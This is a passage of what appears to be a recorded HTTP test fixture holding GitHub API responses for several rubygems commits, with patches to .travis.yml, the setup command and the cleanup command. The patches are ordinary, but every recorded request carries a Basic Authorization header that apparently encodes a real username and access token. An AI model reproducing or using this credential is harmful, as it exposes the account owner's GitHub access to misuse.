tests\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df","html_url":"https://github.com/rubygems/rubygems/commit/0a49b6d365e1affd3849ad491e10789e829ff4df","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}],"stats":{"total":9,"additions":8,"deletions":1},"files":[{"sha":"706459b379ae72aa9670e15451391fb473d357b1","filename":".travis.yml","status":"modified","additions":8,"deletions":1,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/0a49b6d365e1affd3849ad491e10789e829ff4df/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/0a49b6d365e1affd3849ad491e10789e829ff4df/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=0a49b6d365e1affd3849ad491e10789e829ff4df","patch":"@@ -47,5 +47,12 @@ matrix:\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n+ - rvm: 1.8.7\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 1.9.3\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.0.0\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.1.10\n+ env: \"TEST_TOOL=bundler RGV=master\"\n - rvm: ruby-head\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4476' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8a95268ec95aaff3f628369c5c0953f2" Last-Modified: - Mon, 06 Nov 2017 12:28:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046315' X-Github-Request-Id: - C546:4D95:F47EDD:1C8382E:5A50E46E body: encoding: ASCII-8BIT string: '{"sha":"4053fda6d552f6ce13e56d922aeda3876d23f1fe","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T12:28:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T12:28:22Z"},"message":"Workaround for non-git environment.\n\n Ignored `git` command. It''s no effects for installation of vendored\n bundler. Because we overwride file list when invoking `update_rubygems`.","tree":{"sha":"9563105522d4651647170aca694adb6178e235eb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9563105522d4651647170aca694adb6178e235eb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloAVdcACgkQ+c8TQXJk\n+sKzqggAwh3Ackgoz1LwSsqjIZYOIJ9IbgGH9N5sArbOcOs8slqeXuIFvL8YR3oI\naNqSFps7dvhMrM1lUnhsTQamu6neBsa4NZV5thWl7+GtsefMzFxN+e/cEJ9PuJGJ\n055xSBsydQqx7lzEIGn/3K66hurV1IZDZlqqWqFqO6pG+eC/3qYXAdmjfBQ+1V/Y\nzGI/VivubQIXhN0bWqMhreYj5ccW1nb+QCp23UrjuirHltNdDLUtBlSJiy/4NDzE\np5OHjbxZcR8Re+/xu8qfRWjgeJBhn1RwWOIIS1jaPVkomR/ri/gy+TQAZpHe4wbd\nbzL+oe4E1fSZXo9JVxUE2MC+QKcYOA==\n=E86t\n-----END PGP SIGNATURE-----","payload":"tree 9563105522d4651647170aca694adb6178e235eb\nparent b774cb43b0edcd0dd181f6aa10fa7f28bf14848d\nauthor SHIBATA Hiroshi 1509971302 +0900\ncommitter SHIBATA Hiroshi 1509971302 +0900\n\nWorkaround for non-git environment.\n\n Ignored `git` command. It''s no effects for installation of vendored\n bundler. Because we overwride file list when invoking `update_rubygems`.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe","html_url":"https://github.com/rubygems/rubygems/commit/4053fda6d552f6ce13e56d922aeda3876d23f1fe","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}],"stats":{"total":4,"additions":4,"deletions":0},"files":[{"sha":"6b9d3863e1df267ddd7bdcae104bae352c2b39ee","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/4053fda6d552f6ce13e56d922aeda3876d23f1fe/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4053fda6d552f6ce13e56d922aeda3876d23f1fe/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=4053fda6d552f6ce13e56d922aeda3876d23f1fe","patch":"@@ -354,6 +354,10 @@ def install_default_bundler_gem\n \n mkdir_p Gem::Specification.default_specifications_dir\n \n+ # Workaround for non-git environment.\n+ gemspec = File.read(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n+\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4475' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"68cd7fff93a9a4b3d00043c5ba7eed14" Last-Modified: - Mon, 06 Nov 2017 11:59:55 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048453' X-Github-Request-Id: - A278:4D94:4EFF92:B3013D:5A50E46E body: encoding: ASCII-8BIT string: '{"sha":"ac444871c3382da07120ba311013c1d8cc37bceb","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T11:59:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T11:59:55Z"},"message":"Added template files to vendoerd bundler.\n\n Fixes #2062","tree":{"sha":"3948335254ed0410cece435c832af5246985acd2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3948335254ed0410cece435c832af5246985acd2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ac444871c3382da07120ba311013c1d8cc37bceb","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloATt4ACgkQ+c8TQXJk\n+sKBjggAs326+grHz+0RFE+ZEyFt8XWeyvDCraRo2ShchRKxmfJG+bczhP78s6Xu\nSxbKj1jYqKQpfZi2GEZ4q+FB38GrV6hqt9rbZIZ8uQOnDDD5SQnPyy1d0PR2gLiG\nQ4sUfu2y+bYCkuRtZNzGDu7hTgQMUfwumVha4Ukr/KvKhoAC+FgbhcXCcrDz6FXr\ngTThRZFNS175b21DTtOQEHGsFH5NJXEPyIXYDfUAufciTMUwMbVO7vq2fNNodmRO\nfuVSlH3QWYoGDDCiMc76+LISWnwMCIVOI2R3x5eRSKHRas4+B8j2YqrYqh5Ufk0w\nrw2cMduOI3U+6PubSjsW0/XNYfYAyQ==\n=wPA3\n-----END PGP SIGNATURE-----","payload":"tree 3948335254ed0410cece435c832af5246985acd2\nparent b774cb43b0edcd0dd181f6aa10fa7f28bf14848d\nauthor SHIBATA Hiroshi 1509969595 +0900\ncommitter SHIBATA Hiroshi 1509969595 +0900\n\nAdded template files to vendoerd bundler.\n\n Fixes #2062\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb","html_url":"https://github.com/rubygems/rubygems/commit/ac444871c3382da07120ba311013c1d8cc37bceb","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}],"stats":{"total":10,"additions":10,"deletions":0},"files":[{"sha":"5c23c4674d120dd1bc25d9c36941d8909530960e","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":10,"deletions":0,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/ac444871c3382da07120ba311013c1d8cc37bceb/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ac444871c3382da07120ba311013c1d8cc37bceb/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=ac444871c3382da07120ba311013c1d8cc37bceb","patch":"@@ -294,6 +294,8 @@ def install_lib(lib_dir)\n say \"Installing #{tool}\" if @verbose\n \n lib_files = rb_files_in path\n+ lib_files.concat(template_files) if tool == ''Bundler''\n+\n pem_files = pem_files_in path\n \n Dir.chdir path do\n@@ -433,6 +435,12 @@ def rb_files_in dir\n end\n end\n \n+ def template_files\n+ Dir.chdir \"bundler/lib\" do\n+ Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)}\n+ end\n+ end\n+\n def remove_old_bin_files(bin_dir)\n old_bin_files = {\n ''gem_mirror'' => ''gem mirror'',\n@@ -470,8 +478,10 @@ def remove_old_lib_files lib_dir\n lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n+ lib_files.concat(template_files) if new_lib_dir =~ /bundler/\n \n old_lib_files = rb_files_in(old_lib_dir)\n+ old_lib_files.concat(template_files) if old_lib_dir =~ /bundler/\n \n to_remove = old_lib_files - lib_files\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:59 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4474' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"585e107dffa4e481fcf21a8fe6a8586c" Last-Modified: - Sat, 04 Nov 2017 09:14:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.031198' X-Github-Request-Id: - A27A:4D96:9716B8:13A38B0:5A50E46F body: encoding: ASCII-8BIT string: '{"sha":"47be81b6bb29ef9843545f5b58cd25389555c1fd","commit":{"author":{"name":"Lin Jen-Shin","email":"godfat@godfat.org","date":"2017-11-04T09:14:46Z"},"committer":{"name":"Lin Jen-Shin","email":"godfat@godfat.org","date":"2017-11-04T09:14:46Z"},"message":"Add --[no-]check-development option to cleanup cmd\n\nDefault to check so it keeps backward compatibility.","tree":{"sha":"b20c12512dbfb9fa82fd59b8a34afbeffddd3532","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b20c12512dbfb9fa82fd59b8a34afbeffddd3532"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd","html_url":"https://github.com/rubygems/rubygems/commit/47be81b6bb29ef9843545f5b58cd25389555c1fd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd/comments","author":{"login":"godfat","id":10416,"avatar_url":"https://avatars3.githubusercontent.com/u/10416?v=4","gravatar_id":"","url":"https://api.github.com/users/godfat","html_url":"https://github.com/godfat","followers_url":"https://api.github.com/users/godfat/followers","following_url":"https://api.github.com/users/godfat/following{/other_user}","gists_url":"https://api.github.com/users/godfat/gists{/gist_id}","starred_url":"https://api.github.com/users/godfat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/godfat/subscriptions","organizations_url":"https://api.github.com/users/godfat/orgs","repos_url":"https://api.github.com/users/godfat/repos","events_url":"https://api.github.com/users/godfat/events{/privacy}","received_events_url":"https://api.github.com/users/godfat/received_events","type":"User","site_admin":false},"committer":{"login":"godfat","id":10416,"avatar_url":"https://avatars3.githubusercontent.com/u/10416?v=4","gravatar_id":"","url":"https://api.github.com/users/godfat","html_url":"https://github.com/godfat","followers_url":"https://api.github.com/users/godfat/followers","following_url":"https://api.github.com/users/godfat/following{/other_user}","gists_url":"https://api.github.com/users/godfat/gists{/gist_id}","starred_url":"https://api.github.com/users/godfat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/godfat/subscriptions","organizations_url":"https://api.github.com/users/godfat/orgs","repos_url":"https://api.github.com/users/godfat/repos","events_url":"https://api.github.com/users/godfat/events{/privacy}","received_events_url":"https://api.github.com/users/godfat/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}],"stats":{"total":54,"additions":52,"deletions":2},"files":[{"sha":"79c23c840d11151d7fb8dac606b34ccc76ecac87","filename":"lib/rubygems/commands/cleanup_command.rb","status":"modified","additions":9,"deletions":2,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/47be81b6bb29ef9843545f5b58cd25389555c1fd/lib/rubygems/commands/cleanup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/47be81b6bb29ef9843545f5b58cd25389555c1fd/lib/rubygems/commands/cleanup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/cleanup_command.rb?ref=47be81b6bb29ef9843545f5b58cd25389555c1fd","patch":"@@ -8,13 +8,20 @@ class Gem::Commands::CleanupCommand < Gem::Command\n def initialize\n super ''cleanup'',\n ''Clean up old versions of installed gems'',\n- :force => false, :install_dir => Gem.dir\n+ :force => false, :install_dir => Gem.dir,\n+ :check_dev => true\n \n add_option(''-n'', ''-d'', ''--dryrun'',\n ''Do not uninstall gems'') do |value, options|\n options[:dryrun] = true\n end\n \n+ add_option(''-D'', ''--[no-]check-development'',\n+ ''Check development dependencies while uninstalling'',\n+ ''(default: true)'') do |value, options|\n+ options[:check_dev] = value\n+ end\n+\n @candidate_gems = nil\n @default_gems = []\n @full = nil\n@@ -138,7 +145,7 @@ def get_primary_gems\n end\n \n def uninstall_dep spec\n- return unless @full.ok_to_remove?(spec.full_name)\n+ return unless @full.ok_to_remove?(spec.full_name, options[:check_dev])\n \n if options[:dryrun] then\n say \"Dry Run Mode: Would uninstall #{spec.full_name}\""},{"sha":"c55e1959758448a2010f8d3858b79629be8a805d","filename":"test/rubygems/test_gem_commands_cleanup_command.rb","status":"modified","additions":43,"deletions":0,"changes":43,"blob_url":"https://github.com/rubygems/rubygems/blob/47be81b6bb29ef9843545f5b58cd25389555c1fd/test/rubygems/test_gem_commands_cleanup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/47be81b6bb29ef9843545f5b58cd25389555c1fd/test/rubygems/test_gem_commands_cleanup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_cleanup_command.rb?ref=47be81b6bb29ef9843545f5b58cd25389555c1fd","patch":"@@ -32,6 +32,21 @@ def test_handle_options_n\n assert @cmd.options[:dryrun]\n end\n \n+ def test_handle_options_check_development\n+ @cmd.handle_options []\n+ assert @cmd.options[:check_dev]\n+\n+ %w[-D --check-development].each do |options|\n+ @cmd.handle_options [options]\n+ assert @cmd.options[:check_dev]\n+ end\n+\n+ %w[--no-check-development].each do |options|\n+ @cmd.handle_options [options]\n+ refute @cmd.options[:check_dev]\n+ end\n+ end\n+\n def test_execute\n @cmd.options[:args] = %w[a]\n \n@@ -55,6 +70,34 @@ def test_execute_all_dependencies\n refute_path_exists @b_1.gem_dir\n end\n \n+ def test_execute_dev_dependencies\n+ @b_1 = util_spec ''b'', 1 do |s| s.add_development_dependency ''a'', ''1'' end\n+ @c_1 = util_spec ''c'', 1 do |s| s.add_development_dependency ''a'', ''2'' end\n+\n+ install_gem @b_1\n+ install_gem @c_1\n+\n+ @cmd.handle_options %w[--check-development]\n+\n+ @cmd.execute\n+\n+ assert_path_exists @a_1.gem_dir\n+ end\n+\n+ def test_execute_without_dev_dependencies\n+ @b_1 = util_spec ''b'', 1 do |s| s.add_development_dependency ''a'', ''1'' end\n+ @c_1 = util_spec ''c'', 1 do |s| s.add_development_dependency ''a'', ''2'' end\n+\n+ install_gem @b_1\n+ install_gem @c_1\n+\n+ @cmd.handle_options %w[--no-check-development]\n+\n+ @cmd.execute\n+\n+ refute_path_exists @a_1.gem_dir\n+ end\n+\n def test_execute_all\n gemhome2 = File.join @tempdir, ''gemhome2''\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:59 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4473' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bba26cc0058f3c03aee7137d652ba0b9" Last-Modified: - Sat, 04 Nov 2017 00:22:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050525' X-Github-Request-Id: - A27C:4D95:F47F07:1C8387B:5A50E46F body: encoding: ASCII-8BIT string: '{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-04T00:22:00Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-04T00:22:00Z"},"message":"Version 2.7.1 with changelog","tree":{"sha":"c1034b36ebcc7655c4058991586a7643b270c995","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c1034b36ebcc7655c4058991586a7643b270c995"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG 